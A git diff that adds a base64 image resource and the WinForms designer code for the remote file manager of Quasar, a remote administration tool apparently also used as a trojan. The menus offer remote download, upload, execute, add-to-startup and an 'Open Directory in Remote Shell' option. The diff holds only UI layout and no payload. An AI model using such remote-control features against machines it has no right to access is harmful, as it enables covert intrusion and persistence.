JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.Designer.cs new file mode 100755 index 0000000..35798df --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmFileManager.Designer.cs @@ -0,0 +1,753 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmFileManager + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmFileManager)); + Quasar.Server.Utilities.ListViewColumnSorter listViewColumnSorter1 = new Quasar.Server.Utilities.ListViewColumnSorter(); + Quasar.Server.Utilities.ListViewColumnSorter listViewColumnSorter2 = new Quasar.Server.Utilities.ListViewColumnSorter(); + this.contextMenuStripDirectory = new System.Windows.Forms.ContextMenuStrip(this.components); + this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.uploadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.lineToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator(); + this.executeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.renameToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.line2ToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator(); + this.copyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.cutToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.pasteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.lineCopyPasteToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator(); + this.addToStartupToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.quickNavigateToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navDesktopToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navDownloadsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navDocumentsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navAppDataToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navLocalAppDataToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navProgramDataToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navProgramFilesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navProgramFilesX86ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navStartupToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navTempToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.navWindowsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.line3ToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator(); + this.previewToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.line4ToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator(); + this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.openDirectoryInShellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.imgListDirectory = new System.Windows.Forms.ImageList(this.components); + this.statusStrip = new System.Windows.Forms.StatusStrip(); + this.stripLblStatus = new System.Windows.Forms.ToolStripStatusLabel(); + this.contextMenuStripTransfers = new System.Windows.Forms.ContextMenuStrip(this.components); + this.cancelToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripSeparator(); + this.clearToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.imgListTransfers = new System.Windows.Forms.ImageList(this.components); + this.TabControlFileManager = new Quasar.Server.Controls.DotNetBarTabControl(); + this.tabFileExplorer = new System.Windows.Forms.TabPage(); + this.btnRefresh = new System.Windows.Forms.Button(); + this.lblPath = new System.Windows.Forms.Label(); + this.txtPath = new System.Windows.Forms.TextBox(); + this.lstDirectory = new Quasar.Server.Controls.AeroListView(); + this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hSize = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.lblDrive = new System.Windows.Forms.Label(); + this.cmbDrives = new System.Windows.Forms.ComboBox(); + this.tabTransfers = new System.Windows.Forms.TabPage(); + this.btnOpenDLFolder = new System.Windows.Forms.Button(); + this.lstTransfers = new Quasar.Server.Controls.AeroListView(); + this.hID = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hTransferType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hFilename = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.contextMenuStripDirectory.SuspendLayout(); + this.statusStrip.SuspendLayout(); + this.contextMenuStripTransfers.SuspendLayout(); + this.TabControlFileManager.SuspendLayout(); + this.tabFileExplorer.SuspendLayout(); + this.tabTransfers.SuspendLayout(); + this.SuspendLayout(); + // + // contextMenuStripDirectory + // + this.contextMenuStripDirectory.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.downloadToolStripMenuItem, + this.uploadToolStripMenuItem, + this.lineToolStripMenuItem, + this.executeToolStripMenuItem, + this.renameToolStripMenuItem, + this.deleteToolStripMenuItem, + this.line2ToolStripMenuItem, + this.copyToolStripMenuItem, + this.cutToolStripMenuItem, + this.pasteToolStripMenuItem, + this.lineCopyPasteToolStripMenuItem, + this.addToStartupToolStripMenuItem, + this.quickNavigateToolStripMenuItem, + this.line3ToolStripMenuItem, + this.previewToolStripMenuItem, + this.line4ToolStripMenuItem, + this.refreshToolStripMenuItem, + this.openDirectoryInShellToolStripMenuItem}); + this.contextMenuStripDirectory.Name = "ctxtMenu"; + this.contextMenuStripDirectory.Size = new System.Drawing.Size(288, 346); + this.contextMenuStripDirectory.Opening += new System.ComponentModel.CancelEventHandler(this.contextMenuStripDirectory_Opening); + // + // downloadToolStripMenuItem + // + this.downloadToolStripMenuItem.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.downloadToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("downloadToolStripMenuItem.Image"))); + this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem"; + this.downloadToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.downloadToolStripMenuItem.Text = "Download"; + this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click); + // + // uploadToolStripMenuItem + // + this.uploadToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.uploadToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("uploadToolStripMenuItem.Image"))); + this.uploadToolStripMenuItem.Name = "uploadToolStripMenuItem"; + this.uploadToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.uploadToolStripMenuItem.Text = "Upload"; + this.uploadToolStripMenuItem.Click += new System.EventHandler(this.uploadToolStripMenuItem_Click); + // + // lineToolStripMenuItem + // + this.lineToolStripMenuItem.Name = "lineToolStripMenuItem"; + this.lineToolStripMenuItem.Size = new System.Drawing.Size(284, 6); + // + // executeToolStripMenuItem + // + this.executeToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.executeToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("executeToolStripMenuItem.Image"))); + this.executeToolStripMenuItem.Name = "executeToolStripMenuItem"; + this.executeToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.executeToolStripMenuItem.Text = "Execute"; + this.executeToolStripMenuItem.Click += new System.EventHandler(this.executeToolStripMenuItem_Click); + // + // renameToolStripMenuItem + // + this.renameToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.renameToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.textfield_rename; + this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; + this.renameToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.renameToolStripMenuItem.Text = "Rename"; + this.renameToolStripMenuItem.Click += new System.EventHandler(this.renameToolStripMenuItem_Click); + // + // deleteToolStripMenuItem + // + this.deleteToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.deleteToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.delete; + this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem"; + this.deleteToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.deleteToolStripMenuItem.Text = "Delete"; + this.deleteToolStripMenuItem.Click += new System.EventHandler(this.deleteToolStripMenuItem_Click); + // + // line2ToolStripMenuItem + // + this.line2ToolStripMenuItem.Name = "line2ToolStripMenuItem"; + this.line2ToolStripMenuItem.Size = new System.Drawing.Size(284, 6); + // + // copyToolStripMenuItem + // + this.copyToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.copyToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.page_copy; + this.copyToolStripMenuItem.Name = "copyToolStripMenuItem"; + this.copyToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.C))); + this.copyToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.copyToolStripMenuItem.Text = "Copy"; + this.copyToolStripMenuItem.Click += new System.EventHandler(this.copyToolStripMenuItem_Click); + // + // cutToolStripMenuItem + // + this.cutToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.cutToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_edit; + this.cutToolStripMenuItem.Name = "cutToolStripMenuItem"; + this.cutToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.X))); + this.cutToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.cutToolStripMenuItem.Text = "Cut"; + this.cutToolStripMenuItem.Click += new System.EventHandler(this.cutToolStripMenuItem_Click); + // + // pasteToolStripMenuItem + // + this.pasteToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.pasteToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.page_copy; + this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem"; + this.pasteToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.V))); + this.pasteToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.pasteToolStripMenuItem.Text = "Paste"; + this.pasteToolStripMenuItem.Click += new System.EventHandler(this.pasteToolStripMenuItem_Click); + // + // lineCopyPasteToolStripMenuItem + // + this.lineCopyPasteToolStripMenuItem.Name = "lineCopyPasteToolStripMenuItem"; + this.lineCopyPasteToolStripMenuItem.Size = new System.Drawing.Size(284, 6); + // + // addToStartupToolStripMenuItem + // + this.addToStartupToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.addToStartupToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_add; + this.addToStartupToolStripMenuItem.Name = "addToStartupToolStripMenuItem"; + this.addToStartupToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.addToStartupToolStripMenuItem.Text = "Add to Startup"; + this.addToStartupToolStripMenuItem.Click += new System.EventHandler(this.addToStartupToolStripMenuItem_Click); + // + // quickNavigateToolStripMenuItem + // + this.quickNavigateToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.navDesktopToolStripMenuItem, + this.navDownloadsToolStripMenuItem, + this.navDocumentsToolStripMenuItem, + this.navAppDataToolStripMenuItem, + this.navLocalAppDataToolStripMenuItem, + this.navProgramDataToolStripMenuItem, + this.navProgramFilesToolStripMenuItem, + this.navProgramFilesX86ToolStripMenuItem, + this.navStartupToolStripMenuItem, + this.navTempToolStripMenuItem, + this.navWindowsToolStripMenuItem}); + this.quickNavigateToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.quickNavigateToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.quickNavigateToolStripMenuItem.Name = "quickNavigateToolStripMenuItem"; + this.quickNavigateToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.quickNavigateToolStripMenuItem.Text = "Quick Navigate"; + // + // navDesktopToolStripMenuItem + // + this.navDesktopToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navDesktopToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navDesktopToolStripMenuItem.Name = "navDesktopToolStripMenuItem"; + this.navDesktopToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navDesktopToolStripMenuItem.Text = "Desktop"; + this.navDesktopToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navDownloadsToolStripMenuItem + // + this.navDownloadsToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navDownloadsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navDownloadsToolStripMenuItem.Name = "navDownloadsToolStripMenuItem"; + this.navDownloadsToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navDownloadsToolStripMenuItem.Text = "Downloads"; + this.navDownloadsToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navDocumentsToolStripMenuItem + // + this.navDocumentsToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navDocumentsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navDocumentsToolStripMenuItem.Name = "navDocumentsToolStripMenuItem"; + this.navDocumentsToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navDocumentsToolStripMenuItem.Text = "Documents"; + this.navDocumentsToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navAppDataToolStripMenuItem + // + this.navAppDataToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navAppDataToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navAppDataToolStripMenuItem.Name = "navAppDataToolStripMenuItem"; + this.navAppDataToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navAppDataToolStripMenuItem.Text = "AppData (Roaming)"; + this.navAppDataToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navLocalAppDataToolStripMenuItem + // + this.navLocalAppDataToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navLocalAppDataToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navLocalAppDataToolStripMenuItem.Name = "navLocalAppDataToolStripMenuItem"; + this.navLocalAppDataToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navLocalAppDataToolStripMenuItem.Text = "AppData (Local)"; + this.navLocalAppDataToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navProgramDataToolStripMenuItem + // + this.navProgramDataToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navProgramDataToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navProgramDataToolStripMenuItem.Name = "navProgramDataToolStripMenuItem"; + this.navProgramDataToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navProgramDataToolStripMenuItem.Text = "ProgramData"; + this.navProgramDataToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navProgramFilesToolStripMenuItem + // + this.navProgramFilesToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navProgramFilesToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navProgramFilesToolStripMenuItem.Name = "navProgramFilesToolStripMenuItem"; + this.navProgramFilesToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navProgramFilesToolStripMenuItem.Text = "Program Files"; + this.navProgramFilesToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navProgramFilesX86ToolStripMenuItem + // + this.navProgramFilesX86ToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navProgramFilesX86ToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navProgramFilesX86ToolStripMenuItem.Name = "navProgramFilesX86ToolStripMenuItem"; + this.navProgramFilesX86ToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navProgramFilesX86ToolStripMenuItem.Text = "Program Files (x86)"; + this.navProgramFilesX86ToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navStartupToolStripMenuItem + // + this.navStartupToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navStartupToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navStartupToolStripMenuItem.Name = "navStartupToolStripMenuItem"; + this.navStartupToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navStartupToolStripMenuItem.Text = "Startup Folder"; + this.navStartupToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navTempToolStripMenuItem + // + this.navTempToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navTempToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navTempToolStripMenuItem.Name = "navTempToolStripMenuItem"; + this.navTempToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navTempToolStripMenuItem.Text = "Temp"; + this.navTempToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // navWindowsToolStripMenuItem + // + this.navWindowsToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.navWindowsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.folder; + this.navWindowsToolStripMenuItem.Name = "navWindowsToolStripMenuItem"; + this.navWindowsToolStripMenuItem.Size = new System.Drawing.Size(226, 26); + this.navWindowsToolStripMenuItem.Text = "Windows"; + this.navWindowsToolStripMenuItem.Click += new System.EventHandler(this.quickNavigate_Click); + // + // line3ToolStripMenuItem + // + this.line3ToolStripMenuItem.Name = "line3ToolStripMenuItem"; + this.line3ToolStripMenuItem.Size = new System.Drawing.Size(284, 6); + // + // previewToolStripMenuItem + // + this.previewToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.previewToolStripMenuItem.Name = "previewToolStripMenuItem"; + this.previewToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.previewToolStripMenuItem.Text = "Preview Image"; + this.previewToolStripMenuItem.Click += new System.EventHandler(this.previewToolStripMenuItem_Click); + // + // line4ToolStripMenuItem + // + this.line4ToolStripMenuItem.Name = "line4ToolStripMenuItem"; + this.line4ToolStripMenuItem.Size = new System.Drawing.Size(284, 6); + // + // refreshToolStripMenuItem + // + this.refreshToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; + this.refreshToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.refreshToolStripMenuItem.Text = "Refresh"; + this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click); + // + // openDirectoryInShellToolStripMenuItem + // + this.openDirectoryInShellToolStripMenuItem.ForeColor = System.Drawing.Color.White; + this.openDirectoryInShellToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.terminal; + this.openDirectoryInShellToolStripMenuItem.Name = "openDirectoryInShellToolStripMenuItem"; + this.openDirectoryInShellToolStripMenuItem.Size = new System.Drawing.Size(287, 24); + this.openDirectoryInShellToolStripMenuItem.Text = "Open Directory in Remote Shell"; + this.openDirectoryInShellToolStripMenuItem.Click += new System.EventHandler(this.openDirectoryToolStripMenuItem_Click); + // + // imgListDirectory + // + this.imgListDirectory.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imgListDirectory.ImageStream"))); + this.imgListDirectory.TransparentColor = System.Drawing.Color.Transparent; + this.imgListDirectory.Images.SetKeyName(0, "back.png"); + this.imgListDirectory.Images.SetKeyName(1, "folder.png"); + this.imgListDirectory.Images.SetKeyName(2, "file.png"); + this.imgListDirectory.Images.SetKeyName(3, "application.png"); + this.imgListDirectory.Images.SetKeyName(4, "text.png"); + this.imgListDirectory.Images.SetKeyName(5, "archive.png"); + this.imgListDirectory.Images.SetKeyName(6, "word.png"); + this.imgListDirectory.Images.SetKeyName(7, "pdf.png"); + this.imgListDirectory.Images.SetKeyName(8, "image.png"); + this.imgListDirectory.Images.SetKeyName(9, "movie.png"); + this.imgListDirectory.Images.SetKeyName(10, "music.png"); + // + // statusStrip + // + this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.stripLblStatus}); + this.statusStrip.Location = new System.Drawing.Point(0, 572); + this.statusStrip.Name = "statusStrip"; + this.statusStrip.Padding = new System.Windows.Forms.Padding(1, 0, 18, 0); + this.statusStrip.Size = new System.Drawing.Size(1072, 26); + this.statusStrip.TabIndex = 3; + this.statusStrip.Text = "statusStrip1"; + // + // stripLblStatus + // + this.stripLblStatus.Name = "stripLblStatus"; + this.stripLblStatus.Size = new System.Drawing.Size(162, 20); + this.stripLblStatus.Text = "Status: Loading drives..."; + // + // contextMenuStripTransfers + // + this.contextMenuStripTransfers.ImageScalingSize = new System.Drawing.Size(20, 20); + this.contextMenuStripTransfers.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.cancelToolStripMenuItem, + this.toolStripMenuItem1, + this.clearToolStripMenuItem}); + this.contextMenuStripTransfers.Name = "ctxtMenu2"; + this.contextMenuStripTransfers.Size = new System.Drawing.Size(177, 62); + // + // cancelToolStripMenuItem + // + this.cancelToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; + this.cancelToolStripMenuItem.Name = "cancelToolStripMenuItem"; + this.cancelToolStripMenuItem.Size = new System.Drawing.Size(176, 26); + this.cancelToolStripMenuItem.Text = "Cancel"; + this.cancelToolStripMenuItem.Click += new System.EventHandler(this.cancelToolStripMenuItem_Click); + // + // toolStripMenuItem1 + // + this.toolStripMenuItem1.Name = "toolStripMenuItem1"; + this.toolStripMenuItem1.Size = new System.Drawing.Size(173, 6); + // + // clearToolStripMenuItem + // + this.clearToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.broom; + this.clearToolStripMenuItem.Name = "clearToolStripMenuItem"; + this.clearToolStripMenuItem.Size = new System.Drawing.Size(176, 26); + this.clearToolStripMenuItem.Text = "Clear transfers"; + this.clearToolStripMenuItem.Click += new System.EventHandler(this.clearToolStripMenuItem_Click); + // + // imgListTransfers + // + this.imgListTransfers.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imgListTransfers.ImageStream"))); + this.imgListTransfers.TransparentColor = System.Drawing.Color.Transparent; + this.imgListTransfers.Images.SetKeyName(0, "cancel.png"); + this.imgListTransfers.Images.SetKeyName(1, "done.png"); + // + // TabControlFileManager + // + this.TabControlFileManager.Alignment = System.Windows.Forms.TabAlignment.Left; + this.TabControlFileManager.Controls.Add(this.tabFileExplorer); + this.TabControlFileManager.Controls.Add(this.tabTransfers); + this.TabControlFileManager.Dock = System.Windows.Forms.DockStyle.Fill; + this.TabControlFileManager.ItemSize = new System.Drawing.Size(44, 136); + this.TabControlFileManager.Location = new System.Drawing.Point(0, 0); + this.TabControlFileManager.Margin = new System.Windows.Forms.Padding(4); + this.TabControlFileManager.Multiline = true; + this.TabControlFileManager.Name = "TabControlFileManager"; + this.TabControlFileManager.SelectedIndex = 0; + 